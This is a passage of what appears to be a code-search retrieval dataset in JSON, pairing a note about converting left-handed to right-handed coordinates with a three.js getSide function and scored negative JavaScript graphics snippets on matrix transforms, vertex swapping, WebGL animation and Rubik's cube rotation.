jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" }, { "docid": "20ee8d832a158ea6446a8fffa41eecec", "score": "0.75371295", "text": "function getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}", "title": "" } ]
fd43a4e5b9a0c6038ad6dda9386042b2
Note: converting from left to right handed coords by switching x > x in vertices, and then switching mat FrontSide > BackSide NB: this means that FrontSide and BackSide have been switched!
[ { "docid": "f39e20ae3bd4e2f1bf3184762e3bfe8a", "score": "0.0", "text": "getSide( attributes ) {\n\n\t\tif ( ! attributes.side ) return BackSide;\n\n\t\tswitch ( attributes.side ) {\n\n\t\t\tcase 0:\n\t\t\tcase 1:\n\t\t\t\treturn BackSide;\n\t\t\tcase 2: return FrontSide;\n\t\t\tcase 3: return DoubleSide;\n\n\t\t}\n\n\t}", "title": "" } ]
[ { "docid": "758ad06f67dfdb684befaf73cfc51255", "score": "0.6051587", "text": "inversed() {\n const r = this.orientation()\n const t = this.position()\n const o = this.offset()\n const s = this.size()\n\n return mat4.translate(-o.x, -o.y, -o.z)\n .xM(mat4.scale(1/s.x, 1/s.y, 1/s.z))\n .xM(mat4.inverseRotate(-r.y, -r.x, -r.z))\n .xM(mat4.translate(-t.x, -t.y, -t.z))\n }", "title": "" }, { "docid": "3f65e3927cbefe69b4748b263b3043d5", "score": "0.59371567", "text": "function trans(mat, x, y) {\n mat[6] += mat[0] * x + mat[3] * y\n mat[7] += mat[1] * x + mat[4] * y\n}", "title": "" }, { "docid": "4db17caba184e40e9176b11324be621d", "score": "0.5756141", "text": "updateDirection(){\n Matrix4.transformVec4(this.forward, [0,0,1,0], this.matView.raw) //Z\n Matrix4.transformVec4(this.up, [0,0,1,0], this.matView.raw) //Y\n Matrix4.transformVec4(this.right, [0,0,1,0], this.matView.raw) //X\n\n return this\n }", "title": "" }, { "docid": "55ded2b9724e56a06b802cbb51beece7", "score": "0.5747146", "text": "function ortho_front() { update_trans(rotateY(0)); }", "title": "" }, { "docid": "9d41dbfdab7b367f5b620113eb327efb", "score": "0.5696957", "text": "invert () {\n const queue = [this]\n let node\n for (let i = 0; i < queue.length; i++) {\n node = queue[i]\n if (node.plane) node.plane = plane.flip(plane.create(), node.plane)\n if (node.front) queue.push(node.front)\n if (node.back) queue.push(node.back)\n const temp = node.front\n node.front = node.back\n node.back = temp\n }\n }", "title": "" }, { "docid": "2bfc44665b5b7b1bebbf41c8f35aa8d4", "score": "0.55533844", "text": "function getTransformCoordinates(dTop, dBottom, dLeft, dRight) {\n // anchors defining the warped rectangle\n // bottom plane\n var imgWidth = texture.image.width;\n var imgHeight = texture.image.height;\n var sourceLocalBottom={\n // edge points: ul ur ll lr\n TL:{x:dots.geometry.vertices[1].x, y:dots.geometry.vertices[1].y}, \n TR:{x:dots.geometry.vertices[4].x, y: dots.geometry.vertices[4].y}, \n BR:{x:edgeDotMesh.geometry.vertices[3].x, y:edgeDotMesh.geometry.vertices[3].y}, \n BL:{x:edgeDotMesh.geometry.vertices[2].x, y:edgeDotMesh.geometry.vertices[2].y} \n }\n var sourceBottom = convertToPixelCoord(sourceLocalBottom, imgPlaneWidth, imgPlaneHeight, imgWidth, imgHeight);\n\n console.log(\"sourceLocalBottom\", sourceLocalBottom);\n console.log(\"sourceBottom\", sourceBottom);\n // cornerpoints defining the desire unwarped rectangle\n var targetBottom={\n TL:{x:0, y: 0},\n TR:{x:imgWidth, y:0 },\n BR:{x:imgWidth, y:dBottom/imgPlaneHeight * imgHeight},\n BL:{x:0, y:dBottom/imgPlaneHeight * imgHeight}\n }\n console.log(\"targetBottom\", targetBottom);\n // rear\n var sourceLocalRear={\n // edge points: ul ur ll lr\n TL:{x:dots.geometry.vertices[2].x, y:dots.geometry.vertices[2].y}, \n TR:{x:dots.geometry.vertices[3].x, y:dots.geometry.vertices[3].y}, \n BR:{x:dots.geometry.vertices[4].x, y: dots.geometry.vertices[4].y}, \n BL:{x:dots.geometry.vertices[1].x, y:dots.geometry.vertices[1].y} \n }\n var sourceRear = convertToPixelCoord(sourceLocalRear, imgPlaneWidth, imgPlaneHeight, imgWidth, imgHeight);\n console.log(\"sourceLocalRear\", sourceLocalRear);\n console.log(\"sourceRear\", sourceRear);\n var targetRear={\n TL:{x:0, y: 0},\n TR:{x:imgWidth, y:0 },\n BR:{x:imgWidth, y:imgHeight},\n BL:{x:0, y:imgHeight}\n }\n console.log(\"targetRear\", targetRear);\n // left\n var sourceLocalLeft={\n // edge points: ul ur ll lr\n TL:{x:edgeDotMesh.geometry.vertices[0].x, y:edgeDotMesh.geometry.vertices[0].y}, \n TR:{x:dots.geometry.vertices[2].x, y:dots.geometry.vertices[2].y}, \n BR:{x:dots.geometry.vertices[1].x, y: dots.geometry.vertices[1].y}, \n BL:{x:edgeDotMesh.geometry.vertices[2].x, y:edgeDotMesh.geometry.vertices[2].y} \n }\n var sourceLeft = convertToPixelCoord(sourceLocalLeft, imgPlaneWidth, imgPlaneHeight, imgWidth, imgHeight);\n console.log(\"sourceLocalLeft\", sourceLocalLeft);\n console.log(\"sourceLeft\", sourceLeft);\n var targetLeft={\n TL:{x:0, y: 0},\n TR:{x:dLeft/imgPlaneWidth * imgWidth, y:0 },\n BR:{x:dLeft/imgPlaneWidth * imgWidth, y:imgHeight},\n BL:{x:0, y:imgHeight}\n }\n console.log(\"targetLeft\", targetLeft);\n // right\n var sourceLocalRight={\n // edge points: ul ur ll lr\n TL:{x:dots.geometry.vertices[3].x, y: dots.geometry.vertices[3].y}, \n TR:{x:edgeDotMesh.geometry.vertices[1].x, y:edgeDotMesh.geometry.vertices[1].y}, \n BR:{x:edgeDotMesh.geometry.vertices[3].x, y:edgeDotMesh.geometry.vertices[3].y}, \n BL:{x:dots.geometry.vertices[4].x, y: dots.geometry.vertices[4].y}\n }\n var sourceRight = convertToPixelCoord(sourceLocalRight, imgPlaneWidth, imgPlaneHeight, imgWidth, imgHeight);\n console.log(\"sourceLocalRight\", sourceLocalRight);\n console.log(\"sourceRight\", sourceRight);\n var targetRight={\n TL:{x:0, y: 0},\n TR:{x:dRight/imgPlaneWidth * imgWidth, y:0 },\n BR:{x:dRight/imgPlaneWidth * imgWidth, y:imgHeight},\n BL:{x:0, y:imgHeight}\n }\n console.log(\"targetRight\", targetRight);\n // top\n var sourceLocalTop={\n // edge points: ul ur ll lr\n TL:{x:edgeDotMesh.geometry.vertices[0].x, y:edgeDotMesh.geometry.vertices[0].y}, \n TR:{x:edgeDotMesh.geometry.vertices[1].x, y:edgeDotMesh.geometry.vertices[1].y}, \n BR:{x:dots.geometry.vertices[3].x, y: dots.geometry.vertices[3].y}, \n BL:{x:dots.geometry.vertices[2].x, y:dots.geometry.vertices[2].y} \n }\n var sourceTop = convertToPixelCoord(sourceLocalTop, imgPlaneWidth, imgPlaneHeight, imgWidth, imgHeight);\n console.log(\"sourceLocalTop\", sourceLocalTop);\n console.log(\"sourceTop\", sourceTop);\n var targetTop={\n TL:{x:0, y: 0},\n TR:{x:imgWidth, y:0 },\n BR:{x:imgWidth, y:dTop/imgPlaneHeight * imgHeight},\n BL:{x:0, y:dTop/imgPlaneHeight * imgHeight}\n }\n console.log(\"targetTop\", targetTop);\n var coordinates={\n Bottom: {source: sourceBottom, target: targetBottom},\n Rear: {source: sourceRear, target: targetRear},\n Left: {source: sourceLeft, target: targetLeft},\n Right: {source: sourceRight, target: targetRight},\n Top: {source: sourceTop, target: targetTop}\n }\n return coordinates;\n\n}", "title": "" }, { "docid": "7916047163bf96e6ef66926d2a388915", "score": "0.55443794", "text": "function swapYZ(verts) {\n for(var i = 0; i < verts.length; ++i) {\n var z = verts[i].y;\n verts[i].y = -verts[i].z;\n verts[i].z = z;\n }\n}", "title": "" }, { "docid": "6b49514b1f483ed16351f8072e579749", "score": "0.5510458", "text": "function flipVecToOpenGLFrame(vec){\n //vec.x = vec.x;\n // var temp = vec.z;\n // vec.z = -1.0 * vec.y;\n // vec.y = temp;\n \n return new Vec3(vec.x, vec.z, -1.0 * vec.y);\n}", "title": "" }, { "docid": "b7409f2d4c45c310bf009ff4980983b0", "score": "0.5494796", "text": "function sewer(a_verts, b_verts){\r\n if (a_verts.length !== b_verts.length){\r\n console.warn('vertices number mismatch 😑');\r\n return;\r\n }\r\n\r\n var vertices = new Float32Array(a_verts.length*3*2);\r\n var vertices1 = new Float32Array(a_verts.length*3);\r\n var vertices2 = new Float32Array(a_verts.length*3);\r\n\r\n for (var k=0; k<a_verts.length-5; k+=3){\r\n vertices1[3*k] = a_verts[k];\r\n vertices1[3*k+1] = a_verts[k+1];\r\n vertices1[3*k+2] = a_verts[k+2];\r\n vertices1[3*k+3] = b_verts[k];\r\n vertices1[3*k+4] = b_verts[k+1];\r\n vertices1[3*k+5] = b_verts[k+2];\r\n vertices1[3*k+6] = a_verts[k+3];\r\n vertices1[3*k+7] = a_verts[k+4];\r\n vertices1[3*k+8] = a_verts[k+5];\r\n }\r\n vertices1[3*k] = a_verts[k];\r\n vertices1[3*k+1] = a_verts[k+1];\r\n vertices1[3*k+2] = a_verts[k+2];\r\n vertices1[3*k+3] = b_verts[k];\r\n vertices1[3*k+4] = b_verts[k+1];\r\n vertices1[3*k+5] = b_verts[k+2];\r\n vertices1[3*k+6] = a_verts[0];\r\n vertices1[3*k+7] = a_verts[1];\r\n vertices1[3*k+8] = a_verts[2];\r\n\r\n for (n=0; n<b_verts.length-5; n+=3){\r\n vertices2[3*n] = b_verts[n];\r\n vertices2[3*n+1] = b_verts[n+1];\r\n vertices2[3*n+2] = b_verts[n+2];\r\n vertices2[3*n+3] = a_verts[n+3];\r\n vertices2[3*n+4] = a_verts[n+4];\r\n vertices2[3*n+5] = a_verts[n+5];\r\n vertices2[3*n+6] = b_verts[n+3];\r\n vertices2[3*n+7] = b_verts[n+4];\r\n vertices2[3*n+8] = b_verts[n+5];\r\n }\r\n vertices2[3*n] = b_verts[k];\r\n vertices2[3*n+1] = b_verts[k+1];\r\n vertices2[3*n+2] = b_verts[k+2];\r\n vertices2[3*n+3] = a_verts[0];\r\n vertices2[3*n+4] = a_verts[1];\r\n vertices2[3*n+5] = a_verts[2];\r\n vertices2[3*n+6] = b_verts[0];\r\n vertices2[3*n+7] = b_verts[1];\r\n vertices2[3*n+8] = b_verts[2];\r\n\r\n // DEV: display w/ different colors\r\n // console.log(vertices1);\r\n // console.log(vertices2);\r\n // var lg1 = new THREE.BufferGeometry();\r\n // var lg2 = new THREE.BufferGeometry();\r\n // lg1.addAttribute( 'position', new THREE.BufferAttribute( vertices1, 3 ) );\r\n // lg2.addAttribute( 'position', new THREE.BufferAttribute( vertices2, 3 ) );\r\n // var lm1 = new THREE.MeshBasicMaterial({color: 0xff0000, side: THREE.DoubleSide});\r\n // var lm2 = new THREE.MeshBasicMaterial({color: 0x00ff00, side: THREE.DoubleSide});\r\n // var link1 = new THREE.Mesh(lg1,lm1);\r\n // var link2 = new THREE.Mesh(lg2,lm2);\r\n // scene.add(link1);\r\n // scene.add(link2);\r\n // END DEV\r\n\r\n vertices.set(vertices1, 0);\r\n vertices.set(vertices2, vertices1.length);\r\n\r\n return vertices;\r\n\r\n}", "title": "" }, { "docid": "76efb1ac10c63a69b58c73cd035c217d", "score": "0.54685426", "text": "function Translate_Polygon2D_Mat(poly, dx, dy) {\n // this function translates the center of a polygon by using a matrix multiply\n // on the the center point, this is incredibly inefficient, but for educational purposes\n // if we had an object that wasn't in local coordinates then it would make more sense to\n // use a matrix, but since the origin of the object is at x0,y0 then 2 lines of code can\n // translate, but lets do it the hard way just to see :)\n\n // test for valid pointer\n if (!poly)\n return (0);\n\n var mt = new Array(\n new Array(0, 0),\n new Array(0, 0),\n new Array(0, 0)\n );; // used to hold translation transform matrix\n\n // initialize the matrix with translation values dx dy\n Mat_Init_3X2(mt, 1, 0, 0, 1, dx, dy);\n\n // create a 1x2 matrix to do the transform\n var p0 = new Array(poly.x0, poly.y0);\n var p1 = new Array(0, 0); // this will hold result\n\n // now translate via a matrix multiply\n Mat_Mul1X2_3X2(p0, mt, p1);\n\n // now copy the result back into polygon\n poly.x0 = p1[0];\n poly.y0 = p1[1];\n\n // return success\n return (1);\n\n} // end Translate_Polygon2D_Mat", "title": "" }, { "docid": "6772577aca9e8c777c75cefa6abf5467", "score": "0.5456445", "text": "function sameSide(pos){\n\tif(pos > 0 && models['transformer'].position.x > 0) return true;\n\telse if(pos < 0 && models['transformer'].position.x < 0) return true;\n\telse if(pos == 0 && models['transformer'].position.x == 0) return true;\n\telse return false;\n}", "title": "" }, { "docid": "58fec82725033be7b8db9c9b1854f2fb", "score": "0.544711", "text": "rotateMatrixToTheLeft(matrix) {\n // reverse the individual rows\n matrix = matrix.map(row => row.reverse());\n // swap the symmetric elements\n for (let i = 0; i < matrix.length; i += 1) {\n for (let j = 0; j < i; j += 1) {\n const temp = matrix[i][j];\n matrix[i][j] = matrix[j][i];\n matrix[j][i] = temp;\n }\n }\n return matrix;\n }", "title": "" }, { "docid": "70276dbe3320462fb6cf94034ec004ed", "score": "0.54455096", "text": "function animate() {//animation is the function that create the wiggle action for the lower part of the picture\r\n sinscalar += 0.1;//increment\r\n gl.bindBuffer(gl.ARRAY_BUFFER, vertexPositionBuffer);\r\n var triangleVertices = [//vertices that discrible the movement for the picture\r\n //the first 18 vertices does not move\r\n -0.95, 0.95, 0.0,//1\r\n 0.95, 0.95, 0.0,\r\n -0.95, 0.63, 0.0,\r\n \r\n -0.95, 0.63, 0.0,//2\r\n 0.95, 0.95, 0.0,\r\n -0.75, 0.63, 0.0,\r\n \r\n -0.75, 0.63, 0.0,//3\r\n 0.95, 0.95, 0.0,\r\n -0.35, 0.63, 0.0,\r\n \r\n -0.35, 0.63, 0.0,//4\r\n 0.95, 0.95, 0.0,\r\n 0.35, 0.63, 0.0,\r\n \r\n 0.35, 0.63, 0.0,//5\r\n 0.95, 0.95, 0.0,\r\n 0.75, 0.63, 0.0,\r\n \r\n 0.75, 0.63, 0.0,//6\r\n 0.95, 0.95, 0.0,\r\n 0.95, 0.63, 0.0,\r\n \r\n -0.75, 0.63, 0.0,//7\r\n -0.35, 0.63, 0.0,\r\n -0.75, -0.3, 0.0,\r\n \r\n -0.75, -0.3, 0.0,//8\r\n -0.35, 0.63, 0.0,\r\n -0.35, 0.368, 0.0,\r\n \r\n -0.75, -0.3, 0.0,//9\r\n -0.35, 0.368, 0.0,\r\n -0.35, -0.05, 0.0,\r\n \r\n -0.35, -0.05, 0.0,//10\r\n -0.35, 0.368, 0.0,\r\n -0.2, -0.05, 0.0,\r\n \r\n -0.2, -0.05, 0.0,//11\r\n -0.35, 0.368, 0.0,\r\n -0.2, 0.368, 0.0,\r\n \r\n -0.75, -0.3, 0.0,//12\r\n -0.35, -0.05, 0.0,\r\n -0.35, -0.3, 0.0,\r\n \r\n 0.2, -0.05, 0.0,//13\r\n 0.35, 0.368, 0.0,\r\n 0.2, 0.368, 0.0,\r\n \r\n 0.35, -0.05, 0.0,//14\r\n 0.35, 0.368, 0.0,\r\n 0.2, -0.05, 0.0,\r\n \r\n 0.75, -0.3, 0.0,//15\r\n 0.35, 0.368, 0.0,\r\n 0.35, -0.05, 0.0,\r\n \r\n 0.75, -0.3, 0.0,//16\r\n 0.35, 0.63, 0.0,\r\n 0.35, 0.368, 0.0,\r\n \r\n 0.75, 0.63, 0.0,//17\r\n 0.35, 0.63, 0.0,\r\n 0.75, -0.3, 0.0,\r\n \r\n 0.75, -0.3, 0.0,//18\r\n 0.35, -0.05, 0.0,\r\n 0.35, -0.3, 0.0,\r\n \r\n //the next 12 vertices will move\r\n -0.75+Math.sin(sinscalar-0.2)*0.03, -0.4+Math.sin(sinscalar-0.2)*0.03, 0.0,\r\n -0.75+Math.sin(sinscalar-0.2)*0.03, -0.45+Math.sin(sinscalar-0.2)*0.03, 0.0,\r\n -0.6+Math.sin(sinscalar-0.2)*0.03, -0.57+Math.sin(sinscalar-0.2)*0.03, 0.0,\r\n \r\n -0.6+Math.sin(sinscalar-0.2)*0.03, -0.57+Math.sin(sinscalar-0.2)*0.03, 0.0,\r\n -0.75+Math.sin(sinscalar-0.2)*0.03, -0.4+Math.sin(sinscalar-0.2)*0.03, 0.0,\r\n -0.6+Math.sin(sinscalar-0.2)*0.03, -0.4+Math.sin(sinscalar-0.2)*0.03, 0.0,\r\n \r\n -0.5, -0.4+Math.sin(sinscalar-0.2)*0.04, 0.0,\r\n -0.5, -0.67+Math.sin(sinscalar-0.2)*0.04, 0.0,\r\n -0.35, -0.75+Math.sin(sinscalar-0.2)*0.04, 0.0,\r\n \r\n -0.35, -0.75+Math.sin(sinscalar-0.2)*0.04, 0.0,\r\n -0.5, -0.4+Math.sin(sinscalar-0.2)*0.04, 0.0,\r\n -0.35, -0.4+Math.sin(sinscalar-0.2)*0.04, 0.0,\r\n \r\n -0.2+Math.sin(sinscalar-0.2)*0.02, -0.4+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n -0.2+Math.sin(sinscalar-0.2)*0.02, -0.8+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n -0.05+Math.sin(sinscalar-0.2)*0.02, -0.9+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n \r\n -0.05+Math.sin(sinscalar-0.2)*0.02, -0.9+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n -0.2+Math.sin(sinscalar-0.2)*0.02, -0.4+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n -0.05+Math.sin(sinscalar-0.2)*0.02, -0.4+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n \r\n 0.05, -0.9+Math.sin(sinscalar-0.2)*0.02, 0.0, //symmetry\r\n 0.2, -0.4+Math.sin(sinscalar-0.2)*0.02, 0.0,\r\n 0.05, -0.4+Math.sin(sinscalar-0.2)*0.02, 0.0,\r\n \r\n 0.2, -0.4+Math.sin(sinscalar-0.2)*0.02, 0.0,\r\n 0.2, -0.8+Math.sin(sinscalar-0.2)*0.02, 0.0,\r\n 0.05, -0.9+Math.sin(sinscalar-0.2)*0.02, 0.0,\r\n \r\n 0.35+Math.sin(sinscalar-0.2)*0.02, -0.75+Math.sin(sinscalar-0.2)*0.06, 0.0, \r\n 0.5+Math.sin(sinscalar-0.2)*0.02, -0.4+Math.sin(sinscalar-0.2)*0.06, 0.0, \r\n 0.35+Math.sin(sinscalar-0.2)*0.02, -0.4+Math.sin(sinscalar-0.2)*0.06, 0.0,\r\n \r\n 0.5+Math.sin(sinscalar-0.2)*0.02, -0.4+Math.sin(sinscalar-0.2)*0.06, 0.0, \r\n 0.5+Math.sin(sinscalar-0.2)*0.02, -0.67+Math.sin(sinscalar-0.2)*0.06, 0.0, \r\n 0.35+Math.sin(sinscalar-0.2)*0.02, -0.75+Math.sin(sinscalar-0.2)*0.06, 0.0, \r\n \r\n 0.6+Math.sin(sinscalar-0.2)*0.03, -0.57+Math.sin(sinscalar-0.2)*0.01, 0.0, \r\n 0.75+Math.sin(sinscalar-0.2)*0.03, -0.4+Math.sin(sinscalar-0.2)*0.01, 0.0, \r\n 0.6+Math.sin(sinscalar-0.2)*0.03, -0.4+Math.sin(sinscalar-0.2)*0.01, 0.0,\r\n \r\n 0.75+Math.sin(sinscalar-0.2)*0.03, -0.4+Math.sin(sinscalar-0.2)*0.01, 0.0, \r\n 0.75+Math.sin(sinscalar-0.2)*0.03, -0.45+Math.sin(sinscalar-0.2)*0.01, 0.0,\r\n 0.6+Math.sin(sinscalar-0.2)*0.03, -0.57+Math.sin(sinscalar-0.2)*0.01, 0.0,\r\n ];\r\n\r\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(triangleVertices), gl.STATIC_DRAW);\r\n vertexPositionBuffer.itemSize = 3;\r\n vertexPositionBuffer.numberOfItems = 90;\r\n \r\n var timeNow = new Date().getTime();\r\n if (lastTime != 0) {\r\n var elapsed = timeNow\r\n- lastTime;\r\n rotAngle= (rotAngle+1.0) % 360;\r\n }\r\n lastTime = timeNow;\r\n \r\n}", "title": "" }, { "docid": "b8c5d02f16b4bf57992b8577a8bf6e30", "score": "0.54277104", "text": "function sideToSide() {\r\n\r\n console.log(\"in Side to Side\");\r\n\r\n $theTree.animate({\r\n 'left': 620\r\n }, 1000);\r\n\r\n // send to left edge\r\n $theTree.animate({\r\n 'left': 0\r\n }, 2000);\r\n\r\n // then back to center:\r\n $theTree.animate({\r\n 'left': 310\r\n }, 2000);\r\n\r\n\r\n }// end sideToSide", "title": "" }, { "docid": "a9042371231abc3e9abd69fab2b6cd0d", "score": "0.53905356", "text": "function initTransforms()\n{\n\txInvert[0] = -1;\n\txInvert[4] = 0;\n\txInvert[8] = 0;\n\n\tyInvert[0] = 0;\n\tyInvert[4] = -1;\n\tyInvert[8] = 0;\n}", "title": "" }, { "docid": "79e65cb85d88304ef1d8345ba7257805", "score": "0.5365239", "text": "get flippedHorizontally() {\n return this._at;\n }", "title": "" }, { "docid": "b7695ac182526dc7f965dd8d91df573c", "score": "0.536267", "text": "function initTransforms(){\n\tmat4.identity(mvMatrix);\n\tmat4.translate(mvMatrix, HOME);\n\n\tmat4.identity(pMatrix);\n\n\tmat4.identity(nMatrix);\n\tmat4.set(mvMatrix, nMatrix);\n\tmat4.inverse(nMatrix);\n\tmat4.transpose(nMatrix);\n}", "title": "" }, { "docid": "f99e72c5d5b6cd53b05f98844707f782", "score": "0.53554523", "text": "static worldTransform (points, vPos, vForward, vSide, vScale) {\n // copy the original vertices into the buffer about to be transformed\n var points = Vector2D.cloneVectors(points);\n\n // create a transformation matrix\n var matTransform = new C2DMatrix();\n\n // scale\n if (vScale && (vScale.x != 1 || vScale.y != 1)) {\n matTransform.scale(vScale.x, vScale.y);\n }\n\n // rotate\n matTransform.rotate(vForward, vSide);\n\n // and translate\n matTransform.translate(vPos.x, vPos.y);\n\n // now transform the object's vertices\n matTransform.transformVector2Ds(points);\n\n return points;\n }", "title": "" }, { "docid": "c3fd117b385ce36f2c42a389e65ec984", "score": "0.53453434", "text": "rotate() {\n // left\n // console.log(this.selectedCube1.coordinates);\n // console.log(this.selectedCube2.coordinates);\n // console.log(this.selectedFace1);\n // console.log(this.selectedFace2);\n this.selectedCube1.coordinates.map(x => Math.round(x));\n this.selectedCube2.coordinates.map(x => Math.round(x));\n\n // white && orange\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"F\");\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"r\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 0, 1]) || arraysEqual(this.selectedCube1.coordinates, [1, -1, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 1, 1]) || arraysEqual(this.selectedCube2.coordinates, [1, 0, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"f\");\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"R\");\n }\n }\n\n // red && white\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"L\");\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"f\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, 1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, 1]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 1) rubiksCube.pushTurn(\"l\");\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"F\");\n }\n }\n\n // yellow && orange\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"R\");\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"b\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [1, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"r\");\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"B\");\n }\n }\n\n // red && yello\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"B\");\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"l\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 0, -1])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 0, -1]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"b\");\n if (this.selectedFace1 === 3) rubiksCube.pushTurn(\"L\");\n }\n }\n\n //green && orange\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [1, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"r\");\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"U\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [1, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [1, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"R\");\n if (this.selectedFace1 === 2) rubiksCube.pushTurn(\"u\");\n }\n }\n\n //red && green\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, -1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"L\");\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"u\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, 1, 1]) || arraysEqual(this.selectedCube1.coordinates, [-1, 1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, 1, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, 1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 5) rubiksCube.pushTurn(\"l\");\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"U\");\n }\n }\n\n //red && blue\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, -1]) || arraysEqual(this.selectedCube1.coordinates, [-1, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, 1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"D\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"l\");\n }\n }\n if ((arraysEqual(this.selectedCube1.coordinates, [-1, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [-1, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [-1, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [-1, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 4) rubiksCube.pushTurn(\"d\");\n if (this.selectedFace1 === 6) rubiksCube.pushTurn(\"L\");\n }\n }\n\n //orange && blue\n if ((arraysEqual(this.selectedCube1.coordinates, [1, -1, 1]) || arraysEqual(this.selectedCube1.coordinates, [1, -1, 0])) &&\n (arraysEqual(this.selectedCube2.coordinates, [1, -1, 0]) || arraysEqual(this.selectedCube2.coordinates, [1, -1, -1]))) {\n if (this.selectedFace1 === this.selectedFace2) {\n if (this.selectedFace1 === 2) 